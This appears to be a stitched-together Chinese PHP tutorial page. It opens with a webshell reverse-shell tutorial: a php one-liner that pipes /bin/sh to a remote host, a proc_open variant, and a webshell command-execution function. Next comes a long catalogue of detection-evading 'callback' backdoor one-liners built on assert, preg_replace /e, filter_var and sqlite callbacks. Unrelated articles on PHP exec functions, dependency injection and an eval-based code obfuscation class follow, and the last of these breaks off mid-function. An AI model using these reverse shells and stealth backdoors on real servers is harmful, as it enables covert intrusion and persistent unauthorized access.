首页 > 编程技术 > php

php webshell下直接反弹shell的例子

发布时间:2016-11-25 15:21

webshell对于我们站长来讲肯定听到比较多了,我们网站可能经常被人使用期webshell方式注入一些东西了,下面一起来看一个php webshell下直接反弹shell的例子,具体如下。


inux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。

    我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。

    在我收集的反弹shell集合(http://tool.p1ng.pw/getshell.html)中,有一个方法,就是在命令行中输入:

1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
    但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/bin/sh)的标准输入输出重定向到socket中,不去动系统的东西。

    当系统没有禁用proc_popen的时候,我们是可以借助proc_popen轻松反弹这样的一个shell的。不需要任何其他语言的支持,php足矣。

$sock = fsockopen($ip, $port);
$descriptorspec = array(
        0 => $sock,
        1 => $sock,
        2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);

    其中$ip是反弹的ip,$port是反弹的端口,这也是我个人版webshell里一个小功能:

    38.jpg

    反弹shell的时候web页面会卡死,因为php没有异步的函数,默认也不支持多线程,所以卡住这个现象很正常,不影响反弹shell。

    不过我试了,在windows下似乎不能完美运行。不知道是我环境问题(杀毒软件等)还是代码问题。silic的大马中有一个windows反弹的功能,windows下可以使用:

    39.jpg

    具体代码请自行到silic webshell中查看。我没有试过,不知道成功率怎么样。


    另附我的webshell中执行命令的函数,各位看官自行修改后可以使用。有可以补充的,欢迎告诉我呀~

function exec_comm($cmd, &$type = '', &$suc = TRUE)
{
    set_error_handler("customError");
    $re = false;
    if (empty($cmd))  return '执行结果';
    if (empty($type)){
        if(function_exists('exec')){
            @exec($cmd, $re);
            $re = join("\n", $re);
            $type = 'exec';
        }else if(function_exists('shell_exec') && ($re = shell_exec($cmd))){
            $type = 'shell_exec';
        }else if(function_exists('system')){
            @ob_start();system($cmd);$re=@get_ob_contents();@ob_end_clean();
            $type = 'system';
        }else if(function_exists('passthru')){
            @ob_start();passthru($cmd);$re=@get_ob_contents();@ob_end_clean();
            $type = 'passthru';
        }else if(is_resource($f = popen($cmd,"r"))){
            while(!@feof($f)){$re .= @fread($f,1024);}@pclose($f);
            $type = 'popen';
        }else if(function_exists('proc_open')){
            $descriptorspec = array(
                0 => array("pipe", "r"),
                1 => array("pipe", "w"),
                2 => array("pipe", "w")
             );
            $process = proc_open($cmd, $descriptorspec, $pipes);
            if (is_resource($process)) {
                fwrite($pipes[0], "{$cmd}\r\n");
                fwrite($pipes[0], "exit\r\n");
                fclose($pipes[0]);
                // 读取输出
                while (!feof($pipes[1])) {
                    $re .= fgets($pipes[1], 1024);
                }
                fclose($pipes[1]);
                while (!feof($pipes[2])) {
                    $re .= fgets($pipes[2], 1024);
                  }
                fclose($pipes[2]);
                proc_close($process);
            }
        }
    }else if($type == 'wscript'){
        $s= new COM('wscript.shell');
        $exec = $s->exec($cmd);
        $stdout = $exec->StdOut();
        $re = $stdout->ReadAll();
    }else if($type == 'application'){
        $exe = gpc('exe', 'post', 'c:/windows/system32/cmd.exe');
        $shell= new COM('Shell.Application');
        $shell->ShellExecute($exe,$cmd);
        $re = "请查看{$cmd}中输入文件内容\n";
    }
    if ($re === false){ $re = '命令执行可能失败,可能是执行函数被禁用或执行无回显'; $suc = FALSE;}
    return $re;
}

后门对于我们站长来讲是非常的严重的一个bug了,我们经常会碰到网站被黑了结果一查就有后门程序了,今天我们给各位上长演示一下php后门的一些实现手段吧,大家看了之后可以对网站进行一些有效的防护了。

最近很多人分享一些过狗过盾的一句话,但无非是用各种方法去构造一些动态函数,比如$_GET['func']($_REQUEST['pass'])之类的方法。万变不离其宗,但这种方法,虽然狗盾可能看不出来,但人肉眼其实很容易发现这类后门的。

    那么,我就分享一下,一些不需要动态函数、不用eval、不含敏感函数、免杀免拦截的一句话。

0x00 前言

    有很多朋友喜欢收藏一些tips,包括我也收藏了好多tips,有时候在渗透和漏洞挖掘过程中很有用处。

    一句话的tips相信很多朋友也收集过好多,过狗一句话之类的。14年11月好像在微博上也火过一个一句话,当时也记印象笔记里了:

1.jpg

    

    有同学收集tips,就有同学创造tips。那么我们怎么来创造一些过狗、过D盾、无动态函数、无危险函数(无特征)的一句话(后门)?

    根据上面这个pdo的一句话,我就可以得到一个很具有普适性的结论:php中包含回调函数参数的函数,具有做后门的潜质。

    我就自己给这类webshell起了个名字:回调后门。


0x01 回调后门的老祖宗

    php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

    assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。


    这个后门,狗和盾都可以查到(但是狗不会拦截):

2.jpg

    

    可php的函数库是很丰富的,只要简单改下函数安全狗就不杀了:

call_user_func_array('assert', array($_REQUEST['pass']));

    call_user_func_array函数,和call_user_func类似,只是第二个参数可以传入参数列表组成的数组。如图:


    1.jpg

    可见,虽然狗不杀了,D盾还是聪明地识别了出来。

    看来,这种传统的回调后门,已经被一些安全厂商盯上了,存在被查杀的风险。


0x02 数组操作造成的单参数回调后门

    进一步思考,在平时的php开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable类型)参数的函数,其实都有做“回调后门”的潜力。

    我最早想到个最“简单好用的”:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

    array_filter函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用(此后的测试环境都是开着狗的,可见都可以执行):


    1.jpg

    这个后门,狗查不出来,但D盾还是有感应,报了个等级3(显然比之前的等级4要低了):

    1.jpg

    类似array_filter,array_map也有同样功效:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_map(base64_decode($e), $arr);

    依旧被D盾查杀。

    果然,简单的数组回调后门,还是很容易被发现与查杀的。


0x03 php5.4.8+中的assert

    php 5.4.8+后的版本,assert函数由一个参数,增加了一个可选参数descrition:

    1.jpg

    这就增加(改变)了一个很好的“执行代码”的方法assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。

    比如如下回调后门:

$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

    这个后门在php5.3时会报错,提示assert只能有一个参数:


    1.jpg

    php版本改作5.4后就可以执行了:

    1.jpg

    这个后门,狗和盾是都查不出来的:

    1.jpg

    同样的道理,这个也是功能类似:

$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);


    再给出这两个函数,面向对象的方法:

// way 0
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
$arr->uksort('assert');

    再来两个类似的回调后门:

$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);

    以上几个都是可以直接菜刀连接的一句话,但目标PHP版本在5.4.8及以上才可用。

    我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)


0x04 三参数回调函数

    有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如array_walk。

    array_walk的第二个参数是callable类型,正常情况下它是格式是两个参数的,但在0x03中说了,两个参数的回调后门需要使用php5.4.8后的assert,在5.3就不好用了。但这个回调其实也可以接受三个参数,那就好办了:

    1.jpg

    php中,可以执行代码的函数:

  1. 一个参数:assert

  2. 两个参数:assert (php5.4.8+)

  3. 三个参数:preg_replace /e模式

    三个参数可以用preg_replace。所以我这里构造了一个array_walk + preg_replace的回调后门:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk($arr, $e, '');

    如图,这个后门可以在5.3下使用:

    1.jpg

    但强大的D盾还是有警觉(虽然只是等级2):

    1.jpg

    不过呵呵,PHP拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)D盾就查不出来了:

$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e',);
array_walk_recursive($arr, $e, '');

    不截图了。

    看了以上几个回调后门,发现preg_replace确实好用。但显然很多WAF和顿顿狗狗的早就盯上这个函数了。其实php里不止这个函数可以执行eval的功能,还有几个类似的:

mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e');

    另一个:

echo preg_filter('|.*|e', $_REQUEST['pass'], '');

    这两个一句话都是不杀的:

    

    1.jpg2.jpg

    好用的一句话,且用且珍惜呀。


0x05 无回显回调后门

    回调后门里,有个特殊的例子:ob_start。

    ob_start可以传入一个参数,也就是当缓冲流输出时调用的函数。但由于某些特殊原因(可能与输出流有关),即使有执行结果也不在流里,最后也输出不了,所以这样的一句话没法用菜刀连接:

ob_start('assert');
echo $_REQUEST['pass'];
ob_end_flush();

    但如果执行一个url请求,用神器cloudeye还是能够观测到结果的:

    

    1.jpg

    即使没输出,实际代码是执行了的。也算作回调后门的一种。


0x06 单参数后门终极奥义

    preg_replace、三参数后门虽然好用,但/e模式php5.5以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。

    这里给出几个好用不杀的回调后门

$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']);

    这个是php全版本支持的,且不报不杀稳定执行:

    

    

    再来一个:

$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['pass']);

    再来两个:

filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));

    这两个是filter_var的利用,php里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且option为assert即可。

    这几个单参数回调后门非常隐蔽,基本没特征,用起来很6.


0x07 数据库操作与第三方库中的回调后门

    回到最早微博上发出来的那个sqlite回调后门,其实sqlite可以构造的回调后门不止上述一个。

    我们可以注册一个sqlite函数,使之与assert功能相同。当执行这个sql语句的时候,就等于执行了assert。所以这个后门我这样构造:

$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));

    执行之:

    

    上面的sqlite方法是依靠PDO执行的,我们也可以直接调用sqlite3的方法构造回调后门:

$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

    前提是php5.3以上。如果是php5.3以下的,使用sqlite_*函数,自己研究我不列出了。

    这两个回调后门,都是依靠php扩展库(pdo和sqlite3)来实现的。其实如果目标环境中有特定扩展库的情况下,也可以来构造回调后门。

    比如php_yaml:

$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

    还有php_memcached:

$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);

    自行研究吧。


0x08 其他参数型回调后门

    上面说了,回调函数格式为1、2、3参数的时候,可以利用assert、assert、preg_replace来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?

    举个例子,php5.5以后建议用preg_replace_callback代替preg_replace的/e模式来处理正则执行替换,那么其实preg_replace_callback也是可以构造回调后门的。

    preg_replace_callback的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为assert,就会执行不了,因为assert接受的参数是字符串。

    所以我们需要去“构造”一个满足条件的回调函数。

    怎么构造?使用create_function:

preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

    “创造”一个函数,它接受一个数组,并将数组的第一个元素$arr[0]传入assert。


    这也是一个不杀不报稳定执行的回调后门,但因为有create_function这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。

    类似的,这个也同样:

mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);

    再来一个利用CallbackFilterIterator方法的回调后门:

$iterator = new CallbackFilterIterator(new ArrayIterator(array($_REQUEST['pass'],)), create_function('$a', 'assert($a);'));
foreach ($iterator as $item) {
    echo $item;
}

    这里也是借用了create_function来创建回调函数。但有些同学就问了,这里创建的回调函数只有一个参数呀?实际上这里如果传入assert,是会报错的,具体原因自己分析。


0x09 后记

    这一篇文章,就像一枚核武器,爆出了太多无特征的一句话后门。我知道相关厂商在看了文章以后,会有一些小动作。不过我既然敢写出来,那么我就敢保证这些方法是多么难以防御。

    实际上,回调后门是灵活且无穷无尽的后门,只要php还在发展,那么就有很多很多拥有回调函数的后门被创造。想要防御这样的后门,光光去指哪防哪肯定是不够的。

    简单想一下,只有我们去控制住assert、preg_replace这类函数,才有可能防住这种漏洞

 

 

PHP调用系统的命令不管在linux还是在windows中只要权限足够都是可以执行了,下面我们就来看一个在linux中PHP调用linux外部命令的例子。


相信大家或多或少都用过AMH,Vestacp等vps面板,这些面板都是使用的php语言,从本质上来说就是php执行linux的外部命令。

PHP 为执行外部命令提供大量函数,其中包括 shell_exec()、exec()、passthru() 和 system()。这些命令是相似的,但为您运行的外部程序提供不同的界面。所有这些命令都衍生一个子进程,用于运行您指定的命令或脚本,并且每个子进程会在命令输出写到标准输出 (stdout) 时捕捉它们。

shell_exec函数

说明:通过 shell 运行外部程序,然后以字符串的形式返回结果。

语法:string shell_exec ( string $cmd )

返回值: 字符串

详细介绍
shell_exec() 命令行实际上仅是反撇号 (`) 操作符的变体,通过该命令可以运行shell命令,然后以字符串的形式返回结果。

示例代码

统计当前目录下所有文件中的单词数量,并输出前五行。


<?php
$results = shell_exec('wc -w *.txt | head -5');
echo "<pre>".$results . "
“;
?>

exec函数

说明:与 shell_exec() 相似,返回输出的最后一行

语法:string exec ( string $command [, array &$output [, int &$return_var ]] )
返回值: 字符串

详细介绍:
本函数执行输入 command 的外部程序或外部指令。它的返回字符串只是外部程序执行后返回的最后一行;若是 return_var 跟 output 二个参数都存在,则执行 command 之后的状态会填入 return_var 中。

实例代码:

统计当前目录下所有文件中的单词数量,并输出前五行,但是实际上只输出了一行。


<?php
$results = exec('wc -w *.txt | head -5');
echo $results;
 
#只会输出一行:
#3847 myfile.txt
?>
passthru()

说明:passthru() 允许您运行外部程序,并在屏幕上显示结果。

语法:void passthru ( string $command [, int &$return_var ] )
返回值: 整数

详细介绍:
passthru() 允许您运行外部程序,并在屏幕上显示结果。您不需要使用 echo 或 return 来查看结果;它们会显示在浏览器上。您可以添加可选的参数,即保存从外部程序返回的代码的变量,比如表示成功的 0,这为调试提供更好的机制。

实例代码:


<?php
passthru('wc -w *.txt | head -5',$returnval);
echo "<hr/>".$returnval;
?>
system函数

说明:执行外部程序并显示输出资料。

语法:string system ( string $command [, int &$return_var ] )
返回值: 字符串

详细介绍
system() 命令是一种混合体。它像 passthru() 一样直接输出从外部程序接收到的任何东西。它还像 exec() 一样返回最后一行,并使返回代码可用。

示例代码

<?php
system('wc -w *.txt | head -5');
 
#输出如下:
#123 file1.txt 332 file2.txt 444 file3.txt
#and so on
?>
小结

一般来说,exec() 命令比较常用;
如果不关心结果,并且命令比较简单时,可以使用 shell_exec();
如果仅需返回一个 shell 脚本,可以使用 passthru()。

不过小编还是要说一句,没有必须使用php执行系统函数了,我们可以禁止掉了,在php.ini中我们如下写

disable_functions = proc_open,exec,passthru,shell_exec,system,popen

就可以了。

依赖注入是对于要求更易维护,更易测试,更加模块化的代码的答案。每个项目都有依赖(外界提供的输入), 项目越复杂,越需要更多的依赖。

PHP程序员如何理解依赖注入容器(dependency injection container)


背景知识

传统的思路是应用程序用到一个Foo类,就会创建Foo类并调用Foo类的方法,假如这个方法内需要一个Bar类,就会创建Bar类并调用Bar类的方法,而这个方法内需要一个Bim类,就会创建Bim类,接着做些其它工作。

<?php
// 代码【1】
class Bim
{
    public function doSomething()
    {
        echo __METHOD__, '|';
    }
}

class Bar
{
    public function doSomething()
    {
        $bim = new Bim();
        $bim->doSomething();
        echo __METHOD__, '|';
    }
}

class Foo
{
    public function doSomething()
    {
        $bar = new Bar();
        $bar->doSomething();
        echo __METHOD__;
    }
}

$foo = new Foo();
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething

使用依赖注入的思路是应用程序用到Foo类,Foo类需要Bar类,Bar类需要Bim类,那么先创建Bim类,再创建Bar类并把Bim注入,再创建Foo类,并把Bar类注入,再调用Foo方法,Foo调用Bar方法,接着做些其它工作。

<?php
// 代码【2】
class Bim
{
    public function doSomething()
    {
        echo __METHOD__, '|';
    }
}

class Bar
{
    private $bim;

    public function __construct(Bim $bim)
    {
        $this->bim = $bim;
    }

    public function doSomething()
    {
        $this->bim->doSomething();
        echo __METHOD__, '|';
    }
}

class Foo
{
    private $bar;

    public function __construct(Bar $bar)
    {
        $this->bar = $bar;
    }

    public function doSomething()
    {
        $this->bar->doSomething();
        echo __METHOD__;
    }
}

$foo = new Foo(new Bar(new Bim()));
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething

这就是控制反转模式。依赖关系的控制反转到调用链的起点。这样你可以完全控制依赖关系,通过调整不同的注入对象,来控制程序的行为。例如Foo类用到了memcache,可以在不修改Foo类代码的情况下,改用redis。

使用依赖注入容器后的思路是应用程序需要到Foo类,就从容器内取得Foo类,容器创建Bim类,再创建Bar类并把Bim注入,再创建Foo类,并把Bar注入,应用程序调用Foo方法,Foo调用Bar方法,接着做些其它工作.

总之容器负责实例化,注入依赖,处理依赖关系等工作。


代码演示 依赖注入容器 (dependency injection container)

通过一个最简单的容器类来解释一下,这段代码来自 Twittee

<?php

class Container
{
    private $s = array();

    function __set($k, $c)
    {
        $this->s[$k] = $c;
    }

    function __get($k)
    {
        return $this->s[$k]($this);
    }
}

这段代码使用了魔术方法,在给不可访问属性赋值时,__set() 会被调用。读取不可访问属性的值时,__get() 会被调用。

<?php

$c = new Container();

$c->bim = function () {
    return new Bim();
};
$c->bar = function ($c) {
    return new Bar($c->bim);
};
$c->foo = function ($c) {
    return new Foo($c->bar);
};

// 从容器中取得Foo
$foo = $c->foo;
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething

这段代码使用了匿名函数

再来一段简单的代码演示一下,容器代码来自simple di container

<?php

class IoC
{
    protected static $registry = [];

    public static function bind($name, Callable $resolver)
    {
        static::$registry[$name] = $resolver;
    }

    public static function make($name)
    {
        if (isset(static::$registry[$name])) {
            $resolver = static::$registry[$name];
            return $resolver();
        }
        throw new Exception('Alias does not exist in the IoC registry.');
    }
}

IoC::bind('bim', function () {
    return new Bim();
});
IoC::bind('bar', function () {
    return new Bar(IoC::make('bim'));
});
IoC::bind('foo', function () {
    return new Foo(IoC::make('bar'));
});


// 从容器中取得Foo
$foo = IoC::make('foo');
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething

这段代码使用了后期静态绑定


依赖注入容器 (dependency injection container) 高级功能

真实的dependency injection container会提供更多的特性,如

    自动绑定(Autowiring)或 自动解析(Automatic Resolution)
    注释解析器(Annotations)
    延迟注入(Lazy injection)

下面的代码在Twittee的基础上,实现了Autowiring。

<?php

class Bim
{
    public function doSomething()
    {
        echo __METHOD__, '|';
    }
}

class Bar
{
    private $bim;

    public function __construct(Bim $bim)
    {
        $this->bim = $bim;
    }

    public function doSomething()
    {
        $this->bim->doSomething();
        echo __METHOD__, '|';
    }
}

class Foo
{
    private $bar;

    public function __construct(Bar $bar)
    {
        $this->bar = $bar;
    }

    public function doSomething()
    {
        $this->bar->doSomething();
        echo __METHOD__;
    }
}

class Container
{
    private $s = array();

    public function __set($k, $c)
    {
        $this->s[$k] = $c;
    }

    public function __get($k)
    {
        // return $this->s[$k]($this);
        return $this->build($this->s[$k]);
    }

    /**
     * 自动绑定(Autowiring)自动解析(Automatic Resolution)
     *
     * @param string $className
     * @return object
     * @throws Exception
     */
    public function build($className)
    {
        // 如果是匿名函数(Anonymous functions),也叫闭包函数(closures)
        if ($className instanceof Closure) {
            // 执行闭包函数,并将结果
            return $className($this);
        }

        /** @var ReflectionClass $reflector */
        $reflector = new ReflectionClass($className);

        // 检查类是否可实例化, 排除抽象类abstract和对象接口interface
        if (!$reflector->isInstantiable()) {
            throw new Exception("Can't instantiate this.");
        }

        /** @var ReflectionMethod $constructor 获取类的构造函数 */
        $constructor = $reflector->getConstructor();

        // 若无构造函数,直接实例化并返回
        if (is_null($constructor)) {
            return new $className;
        }

        // 取构造函数参数,通过 ReflectionParameter 数组返回参数列表
        $parameters = $constructor->getParameters();

        // 递归解析构造函数的参数
        $dependencies = $this->getDependencies($parameters);

        // 创建一个类的新实例,给出的参数将传递到类的构造函数。
        return $reflector->newInstanceArgs($dependencies);
    }

    /**
     * @param array $parameters
     * @return array
     * @throws Exception
     */
    public function getDependencies($parameters)
    {
        $dependencies = [];

        /** @var ReflectionParameter $parameter */
        foreach ($parameters as $parameter) {
            /** @var ReflectionClass $dependency */
            $dependency = $parameter->getClass();

            if (is_null($dependency)) {
                // 是变量,有默认值则设置默认值
                $dependencies[] = $this->resolveNonClass($parameter);
            } else {
                // 是一个类,递归解析
                $dependencies[] = $this->build($dependency->name);
            }
        }

        return $dependencies;
    }

    /**
     * @param ReflectionParameter $parameter
     * @return mixed
     * @throws Exception
     */
    public function resolveNonClass($parameter)
    {
        // 有默认值则返回默认值
        if ($parameter->isDefaultValueAvailable()) {
            return $parameter->getDefaultValue();
        }

        throw new Exception('I have no idea what to do here.');
    }
}

// ----
$c = new Container();
$c->bar = 'Bar';
$c->foo = function ($c) {
    return new Foo($c->bar);
};
// 从容器中取得Foo
$foo = $c->foo;
$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething

// ----
$di = new Container();

$di->foo = 'Foo';

/** @var Foo $foo */
$foo = $di->foo;

var_dump($foo);
/*
Foo#10 (1) {
  private $bar =>
  class Bar#14 (1) {
    private $bim =>
    class Bim#16 (0) {
    }
  }
}
*/

$foo->doSomething(); // Bim::doSomething|Bar::doSomething|Foo::doSomething

以上代码的原理参考PHP官方文档:反射,PHP 5 具有完整的反射 API,添加了对类、接口、函数、方法和扩展进行反向工程的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。

php加密,php类,php分享

php 代码加密类,大家可以根据自己的需求进行修改,原类如下,希望能分享给大家。本次在ubuntu下测试没有问题。

    <?php  
    class Encryption{  
        private $c='';//存储密文  
        private $s='',$q1,$q2,$q3,$q4,$q5,$q6;//存储生成的加密后的文件内容  
        //如果不设置一个值,isset会表示不存在;  
        private $file='';//读取文件的路径  
        private $source='',$target='';
        //构造函数,实例化时调用初始化全局变量;  
        public function __construct(){  
            //初始化全局变量  
            $this->initialVar();  
            //echo "hello \n";  
        }  
        /*
        *@input  $property_name,$value
        *@output  
        *   魔法方法,对变量进行设置值;可根据需求进行处理。若直接去除if判断表示可用设置任何属性的值,包括不存在的属性;
        */  
        public function __set($property_name,$value){  
            //定义过的变量;  
            if(isset($this->$property_name)){  
                $this->$property_name = $value;  
            }else{  
                //异常处理,处理未声明的变量赋值;可根据需求进行处理。  
                throw new Exception("property does not exist");  
            }  
        }  
        //魔法方法 取出变量的值;  
        public function __get($property_name){  
            if(isset($this->$property_name)){  
                return $this->$property_name;  
            }else{  
                //throw new Exception("property does not exist");  
                return NULL;  
            }  
        }  
        //取随机排序  
        private function RandAbc($length=""){//随机排序取回  
          $str="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";  
          return str_shuffle($str);  
        }  
        //对明文内容进行加密处理
        private function ciphertext($filename){  
            //$filename='index.php';  
            $T_k1=$this->RandAbc();  
            $T_k2=$this->RandAbc();  
            $vstr=file_get_contents($filename);  
            $v1=base64_encode($vstr);  
            $c=strtr($v1,$T_k1,$T_k2);
            $this->c=$T_k1.$T_k2.$c;  
            return $this;  
        }
        //初始化变量  
        private function initialVar(){  
            $this->q1="O00O0O";//base64_decode  
            $this->q2="O0O000";//$c(原文经过strtr置换后的密文,由 目标字符+替换字符+base64_encode(‘原文内容’)构成)  
            $this->q3="O0OO00";//strtr  
            $this->q4="OO0O00";//substr  
            $this->q5="OO0000";//52  
            $this->q6="O00OO0";//urldecode解析过的字符串(n1zb/ma5\vt0i28-pxuqy*6%6Crkdg9_ehcswo4+f37j)

        }  
        //生成加密后的模板(复杂版本);  
        private function model(){  
            //$c = $this->c;
            //$this->initialVar();  
            $this->s='<?php $'.$this->q6.'=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$'.  
            $this->q1.'=$'.$this->q6.'{3}.$'.$this->q6.'{6}.$'.$this->q6.'{33}.$'.$this->q6.'{30};$'.$this->q3.'=$'.$this->q6.'{33}.$'.$this->q6.'{10}.$'  
            .$this->q6.'{24}.$'.$this->q6.'{10}.$'.$this->q6.'{24};$'.$this->q4.'=$'.$this->q3.'{0}.$'.$this->q6.'{18}.$'.$this->q6.'{3}.$'.$this->q3.'{0}  
            .$'.$this->q3.'{1}.$'.$this->q6.'{24};$'.$this->q5.'=$'.$this->q6.'{7}.$'.$this->q6.'{13};$'.$this->q1.'.=$'.$this->q6.'{22}.$'.$this->q6.'{36}  
            .$'.$this->q6.'{29}.$'.$this->q6.'{26}.$'.$this->q6.'{30}.$'.$this->q6.'{32}.$'.$this->q6.'{35}.$'.$this->q6.'{26}.$'.$this->q6.'{30};  
            eval($'.$this->q1.'("'.base64_encode('$'.$this->q2.'="'.$this->c.'";
            eval(\'?>\'.$'.$this->q1.'($'.$this->q3.'($'.$this->q4.'($'.$this->q2.',$'.$this->q5.'*2),$'.$this->q4.'($'.$this->q2.',$'.$this->q5.',$'.$this->q5.'),  
            $'.$this->q4.'($'.$this->q2.',0,$'.$this->q5.'))));').'"));?>';  
            return $this;  
        }
        //创建加密文件  
        private function build($target){
            //$this->encodes("./index.php");  
            //$this->model();  
            $fpp1 = fopen($target,'w');  
            fwrite($fpp1,$this->s) or die('写入是失败!');
            fclose($fpp1);
            return $this;  
        }  
        //加密处理 连贯操作  
        public function encode($file,$target){  
            //$file = "index.php";  
            //连贯操作其实就是利用函数处理完后返回自身  
            $this->ciphertext($file)->model()->build($target);
            echo 'encode------'.$target.'-----ok<br/>';  
        }  
        //解密  
        public function decode($file,$target=''){
            //读取要解密的文件
            $fpp1 = file_get_contents($file);
            $this->decodeMode($fpp1)->build($target);
            echo 'decode------'.$target.'-----ok<br/>';
        }
        //解密模板,得到解密后的文本
        private function decodeMode($fpp1){
            //以eval为标志 截取为数组,前半部分为密文中的替换掉的函数名,后半部分为密文
            $m = explode('eval',$fpp1);
            //对系统函数的替换部分进行执行,得到系统变量
            $varStr = substr($m[0],strpos($m[0],'$'));
            //执行后,后续就可以使用替换后的系统函数名
            eval($varStr);
            //判断是否有密文
            if(!isset($m[1])){
                return $this;
            }

            //对密文进行截取 {$this->q4}  substr
            $star =  strripos($m[1],'(');
            $end = strpos($m[1],')');
            $str = ${$this->q4}($m[1],$star,$end);
            //对密文解密 {$this->q1}  base64_decode
            $str = ${$this->q1}($str);
            //截取出解密后的  核心密文
            $evallen = strpos($str,'eval');
            $str = substr($str,0,$evallen);
            //执行核心密文 使系统变量被赋予值 $O0O000
            eval($str);
            //并不能将如下段封装,因为 ${$this->qn} 并不能在全文中起作用
            $this->s = ${$this->q1}(
                ${$this->q3}(
                    ${$this->q4}(
                        ${$this->q2},${$this->q5}*2
                    ),
                    ${$this->q4}(
                        ${$this->q2},${$this->q5},${$this->q5}
                    ),
                    ${$this->q4}(
                        ${$this->q2},0,${$this->q5}
                    )
                )
            );
            return $this;
        }
        //递归读取并创建目标目录结构
        private function targetDir($target){
            if(!empty($target) )  {
                if(!file_exists($target)){
                    mkdir($target,0777,true);
                }else{
                    chmod($target,0777);
                }

            }
        }

        //递归解密 对指定文件夹下的php文件解密  
        public function decodeDir($source,$target=""){
            if(is_dir($source)){
                $this->targetDir($target);
                $dir = opendir($source);  
                while(false!=$file=readdir($dir))  
                {  
                    //列出所有文件并去掉'.'和'..' 此处用的实例为thinkphp框架,所以默认排除里Thinkphp目录,用户可以按照自己的需求设置
                    if($file!='.' && $file!='..' && $file !='ThinkPHP')
                    {  
                        $path = $target.DIRECTORY_SEPARATOR.$file;  
                        $sourcePath =  $source.DIRECTORY_SEPARATOR.$file;  
                        $this->decodeDir($sourcePath,$path);  
                    }  
                }  
          
            }else if(is_file($source)){  
                $extension=substr($source,strrpos($source,'.')+1);  
                if(strtolower($extension)=='php'){
                    $this->decode($source,$target);  
                }else{  
                    //不是php的文件不处理  
                    copy($source, $target);  
                }  
                //return;  
            }
        }  
        //递归加密 对指定文件夹下的php文件加密  
        public function encodeDir($source,$target){
            if(is_dir($source)){
                $this->targetDir($target);
                $dir = opendir($source);  
                while(false!=$file=readdir($dir))  
                {  
                    //列出所有文件并去掉'.'和'..'
                    if($file!='.' && $file!='..' && $file !='ThinkPHP')
                    {  
